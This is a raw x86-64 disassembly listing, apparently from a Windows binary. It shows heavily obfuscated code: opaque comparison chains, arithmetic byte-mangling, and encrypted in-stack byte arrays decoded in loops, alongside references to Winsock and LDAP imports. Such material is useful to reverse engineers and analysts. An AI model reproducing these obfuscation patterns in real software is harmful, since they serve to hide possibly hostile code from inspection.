lea r11d, [rbx + rcx]
sub r11b, 0x57
jmp 0x1400dd720
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400de048
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de02c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400de010
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400ddfb6
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400ddf8c
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400ddc3d
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400ddc1f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ddbf8
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ddbd9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400ddbb9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ddb9d
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400ddb7f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400ddb62
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400ddb47
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400ddb1d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400dd730
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400de166
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400de149
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400dd90c
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400dd8f3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400dd8da
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400ddad4
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400dda8d
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400dda49
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400dda25
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400dd730
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400dd9fb
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400dd9e1
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400dd9c3
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400dd9aa
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400dd989
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400dd96b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400dd947
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400dd925
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400dd730
lea r8, [r9 + 5]
lea r9, [r8 + 9]
jmp 0x1400dd730
lea ecx, [rdi - 0x11]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x77
jmp 0x1400dd720
lea ecx, [rdi - 0x6b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x13
jmp 0x1400dd6b0
lea ecx, [rdi + 0x3b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x63
jmp 0x1400dd645
lea ecx, [rdi + 0x2e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
inc r9
dec rdi
inc rdi
jmp 0x1400dd633
lea edx, [rdi - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400dd633
lea edx, [rdi + 0x7a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x56
movzx r10d, dil
jmp 0x1400de0c7
lea edx, [rdi + 0x20]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400de105
lea ecx, [rdi - 0x3a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
jmp 0x1400de105
lea edx, [rdi + 0x6c]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ddf63
lea edx, [rdi + 0x12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
jmp 0x1400ddfcb
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
lea ecx, [rdi + 0x57]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x61
mov byte [rbp + rdi + 0x130], r11b
inc rdi
jmp 0x1400dd633
lea edx, [rdi - 3]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
add r11b, dl
cmp r9, 0x1000
jb 0x1400dda39
movzx r10d, dil
lea edx, [r10 - 0x12]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 4]
jmp 0x1400de065
lea edx, [rdi - 0x5d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x75
add r11b, dl
cmp r8, 0x28
jae 0x1400ddf30
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400dde5d
lea edx, [rdi + 0x6a]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400dda5e
lea edx, [rdi + 0x49]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
inc r11b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400ddf53
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400ddd62
lea edx, [rdi + 0x39]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x71
jmp 0x1400ddaa2
lea ecx, [rdi + 0x26]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0xa
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
lea edx, [rdi - 0x34]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400ddfcb
lea edx, [rdi + 0x72]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x1400ddf63
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400de105
lea ecx, [rdi - 0x42]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
add r8, r9
jmp 0x1400de105
movzx r10d, dil
lea edx, [r10 + 0x64]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400de0c7
lea ecx, [rdi + 0xa]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x46
dec rdi
inc rdi
jmp 0x1400dd633
lea edx, [rdi - 0x50]
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400dd633
lea edx, [rdi + 0x56]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5a
movzx r10d, dil
jmp 0x1400de062
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400ddc60
lea edx, [rdi - 0x53]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x45
jmp 0x1400ddae8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400ddc98
lea edx, [rdi + 0x62]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
cmp r8, rax
jne 0x1400ddcbb
lea edx, [rdi + 0x16]
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400ddf63
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400ddce5
lea edx, [rdi - 0x36]
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x1400de105
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ddd0e
movzx r10d, dil
lea edx, [r10 + 0x24]
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400de0c7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ddd36
lea ecx, [rdi + 0x7e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x72
dec rdi
inc rdi
jmp 0x1400dd633
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ddaeb
movzx r10d, dil
lea edx, [r10 + 0x32]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
jmp 0x1400de062
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ddd8a
movzx r10d, dil
lea edx, [r10 - 0x6d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 5
jmp 0x1400de062
inc rax
cmp r8, rax
jne 0x1400dddb4
lea ecx, [rdi - 0x13]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7b
inc r9
dec rdi
inc rdi
jmp 0x1400dd633
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ddddc
lea ecx, [rdi + 0x47]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0xf
dec rdi
inc rdi
jmp 0x1400dd633
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dde04
movzx r10d, dil
lea edx, [r10 - 0x5f]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x67
jmp 0x1400de0c7
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dde26
lea ecx, [rdi + 0x55]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x53
jmp 0x1400de105
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ddaa5
lea ecx, [rdi + 0x63]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x4b
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dde90
lea ecx, [rdi - 0x3c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ddeb6
lea edx, [rdi + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400ddf63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ddedb
lea ecx, [rdi + 0x2c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
add r8, r9
jmp 0x1400de105
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ddf04
movzx r10d, dil
lea edx, [r10 - 0x7a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400de0c7
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dda61
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
dec rdi
inc rdi
jmp 0x1400dd633
movzx r10d, dil
lea edx, [r10 + 0x48]
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0x130]
sub cl, al
add cl, 4
lea r11d, [rcx + rcx]
jmp 0x1400de0c7
lea ecx, [rdi - 0x5e]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x6e]
lea edx, [rdi + 0x4f]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x29
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x130], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400ddfce
lea ecx, [rdi + 0x5b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7d
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
lea edx, [rdi + 1]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 7
add r11b, dl
lea edx, [rdi - 4]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x130], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
lea ecx, [rdi - 0xd]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5b
add r8, r9
jmp 0x1400de105
movzx r10d, dil
lea edx, [r10 - 0x67]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2f
jmp 0x1400de0c7
movzx r10d, dil
lea edx, [r10 - 0x75]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x33
add r11b, dl
sub r10b, 0x65
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x3d
add bl, r10b
mov byte [rbp + rdi + 0x130], bl
inc r9
dec rdi
inc rdi
jmp 0x1400dd633
lea ecx, [rdi + 0x23]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0xb
dec rdi
inc rdi
jmp 0x1400dd633
movzx r10d, dil
lea edx, [r10 - 0x37]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7f
add r11b, dl
sub r10b, 0xb
movzx eax, bl
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x4d
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x130], cl
add r8, r9
jmp 0x1400de105
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x6d
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400dd633
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x31
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dd633
sub dil, 0x1f
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x27
xor ebx, ebx
jmp 0x1400dd630
sub dil, 0x79
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x4f
xor ebx, ebx
jmp 0x1400dd620
mov rax, qword [rbp + 0x17b196c]
jmp 0x1400de19c
mov rax, qword [rbp + 0xc99519]
jmp 0x1400de19c
mov rax, qword [rbp + 0x130]
cmp qword [0x1402e0bd0], rax
je 0x1400de1b2
xor eax, eax
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp + 0x200], ntohl
mov byte [rbp + 0x201], Ordinal_217
mov byte [rbp + 0x202], 0xf9
mov byte [rbp + 0x203], 0xe6
mov byte [rbp + 0x204], 0xe7
mov byte [rbp + 0x205], 0xe6
mov byte [rbp + 0x206], 0xe8
mov byte [rbp + 0x207], 0xda
mov byte [rbp + 0x208], 0xe4
mov byte [rbp + 0x209], 0xe5
mov byte [rbp + 0x20a], 0xdb
mov byte [rbp + 0x20b], gethostname
mov byte [rbp + 0x20c], 0xf8
mov byte [rbp + 0x20d], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x20e], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x20f], reloc.WS2_32.dll_recv
mov byte [rbp + 0x210], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x211], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x212], 0xca
mov byte [rbp + 0x213], 0xf2
mov byte [rbp + 0x214], reloc.WS2_32.dll_select
mov byte [rbp + 0x215], 0xa5
xor eax, eax
mov qword [rbp + 0x216], rax
mov dword [rbp + 0x21e], eax
mov word [rbp + 0x222], ax
movabs r14, 0x4071272ea1abe174
movabs r15, 0x43fa60a3af0aed14
movabs r13, 0xc31812466bb32a2c
movabs r12, 0xc153758be503a45c
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor eax, eax
mov edi, eax
cmp rdi, 0x24
jae 0x1400dedb3
movzx ebx, byte [rbp + rdi + 0x200]
mov r10, rbx
nop dword [rax]
cmp r8, rdi
ja 0x1400dedaa
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400de2fc
lea rcx, [rdi + r14]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x2c
jmp 0x1400de350
je 0x1400ded30
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400decad
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dec79
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dec5b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dec1f
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400debfb
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400debb5
cmp r9, rdi
ja 0x1400deda1
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400de37d
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400de3a3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400deb95
inc rax
cmp r8, rax
je 0x1400deb71
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400deb53
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400de8b1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400de88e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400de86c
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400de85f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de938
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400de843
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400de825
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400de807
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400de7ee
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400de7bf
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400de3b0
lea r8, [r9 + 0x400]
lea r9, [r8 + 4]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400ded81
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400ded61
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400de58c
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400de56e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400de550
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400de778
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400de72b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400de6ec
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400de6c8
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0xa]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400de69e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400de685
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400de667
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400de64e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400de62f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400de60d
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400de5ee
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400de5c7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400de5a5
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400de3b0
lea r8, [r9 + 4]
lea r9, [r8 + 0x41]
jmp 0x1400de3b0
lea edx, [rdi - 4]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400de3a3
lea edx, [rdi + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400de350
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x1400de2c6
lea edx, [rdi + 0x20]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx r10d, dil
jmp 0x1400debce
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400de2b4
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x1400de2b4
lea edx, [rdi + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx r10d, dil
jmp 0x1400dec38
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
add r8, r9
jmp 0x1400dec94
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x1400dec94
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400decc7
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400decee
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x200]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400de2b4
lea ecx, [rdi - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
mov byte [rbp + rdi + 0x200], r11b
inc rdi
jmp 0x1400de2b4
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x20
jb 0x1400de6dc
movzx r10d, dil
lea ecx, [r10 + 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x10]
jmp 0x1400debce
lea edx, [rdi - 0x34]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 6
jae 0x1400deb0d
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400dea45
lea edx, [rdi + 0x28]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x1400de705
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400deb33
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400de9b3
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x1400de744
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x200]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400de2b4
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x1400decee
lea edx, [rdi + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400decc7
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dec94
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
add r8, r9
jmp 0x1400dec94
lea edx, [rdi - 0x58]
mov ecx, 0x34
jmp 0x1400dec03
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400de2b4
movzx r10d, dil
lea edx, [r10 - 0x28]
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400debce
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400de8d6
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x1400de78c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400de909
lea ecx, [rdi + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0x200]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400de2b4
inc rax
cmp r8, rax
jne 0x1400de92f
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400decee
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400de95b
movzx r10d, dil
lea edx, [r10 - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dec38
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400de983
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x1400de2b4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400de78c
movzx r10d, dil
lea edx, [r10 + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400debce
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400de9df
movzx r10d, dil
lea edx, [r10 - 0x74]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400debce
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400de9f5
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
jmp 0x1400dec03
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dea1a
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
add r8, r9
jmp 0x1400dec94
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400de744
lea edx, [rdi + 0x14]
movzx eax, dl
and al, bl
